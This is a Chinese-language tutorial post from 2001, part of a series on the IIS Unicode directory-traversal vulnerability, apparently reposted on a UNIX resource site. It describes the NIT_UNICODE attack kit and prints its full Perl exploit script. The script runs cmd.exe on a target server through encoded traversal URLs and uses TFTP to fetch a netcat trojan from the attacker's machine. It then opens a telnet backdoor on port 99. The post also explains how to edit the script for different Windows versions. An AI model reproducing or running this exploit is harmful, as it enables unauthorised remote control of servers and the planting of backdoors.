[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 网络安全 > b7 > 正文

UNICODE编码漏洞全攻略-5

来源:作者:badboy 坏男孩俱乐部 (2001-05-20 18:08:00)

————————————————————————————————— 
badboy 坏男孩俱乐部 
这并不是什麽权威教材,只适合菜鸟了解win9x、NT存在的不安全面,切莫 
用此方法在国内做尝试,如果你偏要如此,那麽由此引起的一切法律後果由 
你自己负责。 
本文只允许在网路任意转载,但须保留文章的完整性,如把本文作爲经济目 
的使用,或者未经本人许可进行印刷、光碟杂、等出版性质的行爲,本人 
将保留侵权控告的权利。 
————————————————————————————————— 
五、网路里可得到的一些UNICODE扫描程式的分析(续) 
3、攻击型NIT_UNICODE软体套装 
下载地址http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip 
压缩包里含有以下文件∶ 
uni.pl -------扫描UNICODE编码漏洞的主PERL程式 
uniexe.pl -----执行TFTP过程的PERL程式 
ncx99.exe -----一个把telnet埠设置在99的netcat木马 
tftpd32.exe -----TFTP设置软体 
tftpd32.hlp -----帮助文件 
flie_id.diz 
vendinfo.diz 
readme.file -----使用说明和例子 
该套装程式主要利用unicode编码漏洞,把ncx99.exe上传到目标主机,并啓动,使攻击 
者可以通过telnet 目标主机的99埠,登陆到目标主机上进行攻击行爲。 
以下程式在使用时需要修改一些东西,找到 
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe"; 
这句,把xxx.xxx.xxx.xxx.xxx修改爲你的IP地址,然後存档。 
这句主要是把NCX99.EXE从你的主机改名传到目标主机c:\inetpub\scripts\去。 
另外还需要根据目标主机的NT版本,对程式里的..%c0%af..做相应的修改,比如说 
目标主机是WIN2K就修改爲..%c1%1c.. 

#!/usr/bin/perl 
# This is for educational purpose's only! 
# WHO LET THEM DOGS OUT! 
# Use uni.pl first to see if this is a vulnerable server! 
# Based of the script unicodeexecute.pl from Roelof Temmngh 
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme 

use Socket; 

if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";} 
($host,$port)=split(/:/,@ARGV[0]); 
$target = inet_aton($host); 


$failed=1; 
$command="dir"; 
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n\cls"); 
foreach $line (@results){ 
if ($line =~ /nit.exe/) {$failed=0;} 

$failed2=1; 
if ($failed==1) { 

#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh! 
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe"; 
$command=~s/ /\%20/g; 
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n"); 
foreach $line2 (@results2){ 
if (($line2 =~ /nit.exe/ )) {$failed2=0;} 




$command=@ARGV[1]; 
print "\n 
Hit CTRL-C if this is Hanging"; 

$command=~s/ /\%20/g; 
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n"); 
print @results; 

# ------------- Sendraw - thanx RFP rfp@wiretrip.net 
sub sendraw { # this saves the whole transaction anyway 
my ($pstr)=@_; 
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) || 
die("Socket problems\n"); 
if(connect(S,pack "SnA4x8",2,$port,$target)){ 
my @in; 
select(S); $|=1; print $pstr; 
while(){ push @in, $_;} 
select(STDOUT); close(S); return @in; 
} else { die("Can't connect...\n"); } 


# NIT IN THE YEAR 2000
 
(http://www.fanqiang.com)



 
 相关文章

★  感谢所有的作者为我们学习技术知识提供了一条捷径  ★
www.fanqiang.com